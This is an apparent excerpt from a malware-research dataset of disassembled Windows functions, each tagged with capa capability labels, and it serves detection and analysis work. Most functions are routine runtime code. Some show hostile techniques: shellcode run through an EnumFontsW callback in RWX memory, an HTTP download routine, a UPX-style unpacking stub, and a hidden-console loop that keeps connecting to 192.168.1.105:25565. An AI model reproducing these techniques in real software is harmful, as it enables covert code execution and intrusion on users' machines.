joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401473b0
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
movsxd rbx, edx
mov rdi, rcx
mov byte [rcx], 0
mov edx, ebx
call qword [sym.imp.WS2_32.dll_gethostname]
mov byte [rbx + rdi - 1], 0
test eax, eax
jne 0x1401473ea
lea edx, [rax + 0x2e]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_strchr]
test rax, rax
je 0x1401473e8
mov byte [rax], 0
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14014e140
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
mov r14, rdx
add rax, 0x18
add rcx, rax
call qword [sub.msvcrt.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x14014e182
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rsp + 0x48], rsi
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x14014e1c5
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
mov rdx, qword [rdi + 8]
add r14, qword [rdi + 0x10]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov ebp, dword [rbx + 0x20]
mov rcx, qword [rdi + 8]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x14014e221
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
mov r8d, 1
xor al, 0x36
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
mov r8d, 1
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
dec rbp
jne 0x14014e1e0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14014e263
nop dword [rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140197d41]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140197d42]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14014e230
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
mov rax, rdi
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14014eb34
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x14064a040], 0
mov r14, rdx
mov r15, rcx
lea rbx, [0x14064a050]
jne 0x14014eb81
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x14064a078], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x14064a040], 1
mov ecx, dword [0x14064a078]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x14014ec56
mov rcx, qword [0x140646f64]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14014ec81
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x14064a048]
test rax, rax
je 0x14014ebd1
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x14064a048], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
lea r9, [rbp + 0x20]
mov r8, rdi
mov rcx, rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x100000
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
lea r8, [0x14014ec9c]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x14064a078]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x140646f64]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14014ec81
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x140150ca0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
mov r11d, edx
mov r10, rcx
mov r8d, 0x80000000
test rcx, rcx
je 0x140150d0f
mov qword [rsp], rbx
lea rbx, [0x14019a5c0]
test r10b, 1
je 0x140150d03
mov ecx, r11d
mov eax, r8d
mov edx, 0x80000000
and ecx, 0x1f
xor r8d, r8d
mov r9d, dword [rbx + rcx*4]
nop dword [rax + rax]
test r9d, edx
je 0x140150cf0
lea ecx, [rdx - 1]
xor r8d, eax
test r9d, ecx
je 0x140150d03
shr edx, 1
test al, 1
je 0x140150cff
shr eax, 1
xor eax, 0xedb88320
jmp 0x140150ce0
shr eax, 1
jmp 0x140150ce0
inc r11d
sar r10, 1
jne 0x140150cc0
mov rbx, qword [rsp]
mov eax, r8d
add rsp, 8
ret
Function at 0x140002bf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rcx, qword [rsp + 0x50]
call fcn.1400031b0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x50]
call fcn.1400031b0
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x50]
call fcn.140003230
mov rdi, qword [rsp + 0x20]
mov rsi, rax
mov rax, qword [rsp + 0x28]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumFontsW]
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x140002c70
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x118
mov qword [rsp + 0xf0], 0xfffffffffffffffe
mov dword [rsp + 0xe8], 0
lea rcx, [rsp + 0x68]
call fcn.140003010
nop
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.huorong
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140002cf8
lea rdx, str.Failed_to_open_internet_connection.
lea rcx, [rsp + 0x90]
call fcn.140002a70
lea rdx, [0x1400270b0]
lea rcx, [rsp + 0x90]
call fcn.140006c98
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], 0x64000
mov edx, 0x64000
lea rcx, [rsp + 0x38]
call fcn.140003050
nop
mov dword [rsp + 0x88], 0
lea rcx, [rsp + 0x38]
call fcn.1400031b0
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x38]
call fcn.140003230
lea r9, [rsp + 0x88]
mov rcx, qword [rsp + 0xf8]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002e41
cmp dword [rsp + 0x88], 0
jbe 0x140002e41
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x68]
call fcn.140003180
mov rax, qword [rax]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x88]
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x38]
call fcn.140003150
mov rcx, qword [rsp + 0x100]
mov r8, rcx
lea rdx, [rsp + 0xb0]
mov rcx, rax
call fcn.140003240
mov qword [rsp + 0x108], rax
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x38]
call fcn.140003150
mov rcx, qword [rsp + 0x108]
mov r9, qword [rcx]
mov r8, qword [rax]
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0x68]
call fcn.140003e50
jmp 0x140002d56
cmp dword [rsp + 0x88], 0
jne 0x140002eaa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
je 0x140002eaa
cmp dword [rsp + 0x8c], 0x12
je 0x140002eaa
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.Failed_to_read_file_content.
lea rcx, [rsp + 0xd0]
call fcn.140002a70
lea rdx, [0x1400270b0]
lea rcx, [rsp + 0xd0]
call fcn.140006c98
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x120]
call fcn.1400030b0
mov eax, dword [rsp + 0xe8]
or eax, 1
mov dword [rsp + 0xe8], eax
lea rcx, [rsp + 0x38]
call fcn.140003120
nop
lea rcx, [rsp + 0x68]
call fcn.140003120
mov rax, qword [rsp + 0x120]
add rsp, 0x118
ret

Function at 0x140009860
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400096d0
Function at 0x140019f2c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140029060]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140007be0
xor ebx, ebx
cmp qword [0x14002a168], rbx
mov rdi, rax
jne 0x14001a03f
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14001a116
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001a116
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14002a168], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14002a170], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14002a178], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14002a188], rax
test rax, rax
je 0x14001a036
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14002a180], rax
jmp 0x14001a046
mov rax, qword [0x14002a180]
jmp 0x14001a04d
mov rax, qword [0x14002a180]
mov r11, qword [0x14002a188]
cmp rax, rdi
je 0x14001a0b4
cmp r11, rdi
je 0x14001a0b4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14002a188]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14001a0b4
test rax, rax
je 0x14001a0b4
call rsi
test rax, rax
je 0x14001a0ae
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14001a0ae
test byte [rsp + 0x40], 1
jne 0x14001a0b4
bts ebp, 0x15
jmp 0x14001a0f4
mov rcx, qword [0x14002a170]
cmp rcx, rdi
je 0x14001a0f4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001a0f4
call rax
mov rbx, rax
test rax, rax
je 0x14001a0f4
mov rcx, qword [0x14002a178]
cmp rcx, rdi
je 0x14001a0f4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001a0f4
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14002a168]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001a116
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14001a118
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000cab0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001a467
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140029060]
jne 0x14000caca
rol rcx, 0x10
test cx, 0xffff
jne 0x14000cac6
repz ret
ror rcx, 0x10
jmp 0x14001a3c0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14002a230]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14002a328]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001a445
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14002a230]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001a467
mov rax, qword [rsp + 0x88]
mov qword [0x14002a328], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14002a2c8], rax
mov rax, qword [0x14002a328]
mov qword [0x14002a1a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14002a2b0], rax
mov dword [0x14002a190], 0xc0000409
mov dword [0x14002a194], 1
mov rax, qword [0x140029060]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140029068]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14002a228], eax
mov ecx, 1
call fcn.140017f70
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400238a8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14002a228], 0
jne 0x14001a4ee
mov ecx, 1
call fcn.140017f70
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1401225f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401225fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14012260d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401225f5
lea eax, [rcx + 1]
jmp 0x14012261b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14012262e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140122614
sub eax, 3
jb 0x14012264e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14012269d
sar eax, 1
movsxd rbp, eax
jb 0x140122684
jmp 0x14012265c
add ebx, ebx
jne 0x14012265a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140122684
inc ecx
add ebx, ebx
jne 0x14012266a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140122684
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14012267d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14012266c
add ecx, 2
jmp 0x140122689
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401225b2
jmp 0x1401225fd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xc5c00
mov dl, 0x24
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401226ed
cmp rsi, rcx
jae 0x1401226f5
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401226d4
cmp al, 0x8f
ja 0x1401226d4
cmp byte [rsi - 2], 0xf
je 0x1401226da
sub al, 0xe8
cmp al, 1
ja 0x1401226be
cmp rsi, rcx
jae 0x1401226f5
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401226c4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401226f5
lodsb al, byte [rsi]
jmp 0x1401226d4
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x11f000]
mov eax, dword [rdi]
or eax, eax
je 0x14012275e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x126648]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140122702
jns 0x140122737
movzx rdx, word [rdi]
add rdi, 2
jmp 0x140122741
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140122758
mov qword [rbx], rax
add rbx, 8
jmp 0x140122722
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x23f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401227b6
sub rsp, 0xffffffffffffff80
jmp 0x1400a8378
Function at 0x1400011f0
Capabilities:
Connect socket
Initialize winsock library
Terminate process

Disassembly:
push rbx
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ebx, 2
lea rdx, [rsp + 0x30]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000124b
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r8d, r8d
mov ecx, ebx
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, str.192.168.1.105
mov qword [rsp + 0x28], 0
mov dword [0x140005678], eax
mov word [rsp + 0x20], bx
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rcx, str.25565
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
movsxd rcx, dword [0x140005678]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1400012d7
nop dword [rax]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
movsxd rcx, dword [0x140005678]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1400012b0
call section..text
int3

Function at 0x140001bec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c36
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c38
xor al, al
add rsp, 0x28
ret
Function at 0x140001609
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x140096fc0
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x130
mov rax, qword [0x140118988]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rbp, r8
mov rsi, rdx
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rdx + rbx*2], 0
jne 0x140096ff4
cmp qword [rcx + 0x18], 8
mov r14, rcx
jb 0x14009700b
mov r14, qword [rcx]
mov rdi, qword [rcx + 0x10]
mov qword [rsp + 0x150], r15
test rbx, rbx
je 0x140097090
cmp rbp, rdi
jae 0x140097090
mov r15d, 0x100
lea rcx, [rsp + 0x20]
mov r8d, r15d
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsi + rbx*2]
mov rcx, rsi
cmp rsi, rdx
je 0x14009705c
movzx eax, word [rcx]
cmp ax, r15w
jae 0x1400970c7
movzx eax, al
add rcx, 2
mov byte [rsp + rax + 0x20], 1
cmp rcx, rdx
jne 0x140097042
lea rdx, [r14 + rdi*2]
lea rcx, [r14 + rbp*2]
cmp rcx, rdx
jae 0x140097090
nop dword [rax]
movzx eax, word [rcx]
cmp ax, r15w
jae 0x140097087
movzx eax, ax
cmp byte [rsp + rax + 0x20], 0
jne 0x140097113
add rcx, 2
cmp rcx, rdx
jb 0x140097070
mov rax, 0xffffffffffffffff
mov r15, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140001c58
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
lea r9, [r14 + rdi*2]
lea rdx, [r14 + rbp*2]
cmp rdx, r9
jae 0x1400970fc
mov rcx, rbx
mov rax, rsi
test rbx, rbx
je 0x1400970f3
movzx r8d, word [rdx]
cmp word [rax], r8w
je 0x140097108
add rax, 2
sub rcx, 1
jne 0x1400970e3
add rdx, 2
cmp rdx, r9
jb 0x1400970d4
mov rdx, 0xffffffffffffffff
mov rax, rdx
jmp 0x140097097
sub rdx, r14
sar rdx, 1
mov rax, rdx
jmp 0x140097097
sub rcx, r14
sar rcx, 1
mov rax, rcx
jmp 0x140097097

Function at 0x140001631
Capabilities:
Check if file exists

Disassembly:
jmp 0x14009e1c0
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x20
cmp qword [rdx + 0x18], 8
mov rdi, rcx
mov rcx, rdx
mov rsi, r8
mov r14, rdx
jb 0x14009e1e3
mov rcx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x14009e20f
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call fcn.14009cdb0
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 0x40], rbp
xor ebp, ebp
test rsi, rsi
je 0x14009e22c
lea rax, [0x1400ccd88]
mov dword [rsi], ebp
mov qword [rsi + 8], rax
mov byte [rsi + 4], bpl
mov edx, ebx
mov rcx, r14
call fcn.140002a2c
mov esi, eax
bt ebx, 0xa
jae 0x14009e259
mov rcx, r14
call fcn.14009c7f0
test al, al
mov ecx, 9
mov edx, 4
cmovne ecx, edx
mov dword [rdi], ecx
jmp 0x14009e278
and ebx, 0x10
je 0x14009e264
mov eax, dword [rsp + 0x48]
jmp 0x14009e268
mov esi, dword [rsp + 0x48]
test ebx, ebx
setne bpl
add ebp, 2
test ebx, ebx
mov dword [rdi], ebp
cmove esi, eax
mov rbp, qword [rsp + 0x40]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
mov dword [rdi + 4], esi
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140001695
Capabilities:
Check if file exists

Disassembly:
jmp 0x14009e020
mov rax, rsp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov qword [rax - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov r14, r8
mov rsi, rdx
mov rdi, rcx
mov rcx, rdx
cmp qword [rdx + 0x18], 8
jb 0x14009e055
mov rcx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebp, eax
cmp eax, 0xffffffff
jne 0x14009e075
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.14009cdb0
jmp 0x14009e150
mov edx, ebp
mov rcx, rsi
call fcn.140002a2c
mov r15d, eax
xor r12d, r12d
bt ebp, 0xa
jae 0x14009e108
mov rcx, rsi
cmp qword [rsi + 0x18], 8
jb 0x14009e098
mov rcx, qword [rsi]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x88], rax
cmp rax, 0xffffffffffffffff
jne 0x14009e0de
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.14009cdb0
nop
jmp 0x14009e150
mov rcx, rsi
call fcn.14009c7f0
test al, al
jne 0x14009e0ff
mov dword [rdi], 9
mov dword [rdi + 4], r15d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14009e150
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x14009e120
mov dword [r14], r12d
mov byte [r14 + 4], 0
lea rax, [0x1400ccd88]
mov qword [r14 + 8], rax
and ebp, 0x10
je 0x14009e12e
mov eax, dword [rsp + 0x88]
jmp 0x14009e139
mov eax, r15d
mov r15d, dword [rsp + 0x88]
test ebp, ebp
setne r12b
add r12d, 2
mov dword [rdi], r12d
test ebp, ebp
cmove r15d, eax
mov dword [rdi + 4], r15d
mov rax, rdi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140001870
Capabilities:
Get memory capacity

Disassembly:
jmp 0x140060490
mov r11, rsp
sub rsp, 0x98
mov rax, qword [0x140118988]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rcx, [r11 - 0x58]
mov qword [r11 - 0x58], rax
mov qword [r11 - 0x50], rax
mov qword [r11 - 0x48], rax
mov qword [r11 - 0x40], rax
mov qword [r11 - 0x38], rax
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x20], rax
mov dword [rsp + 0x40], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x140060501
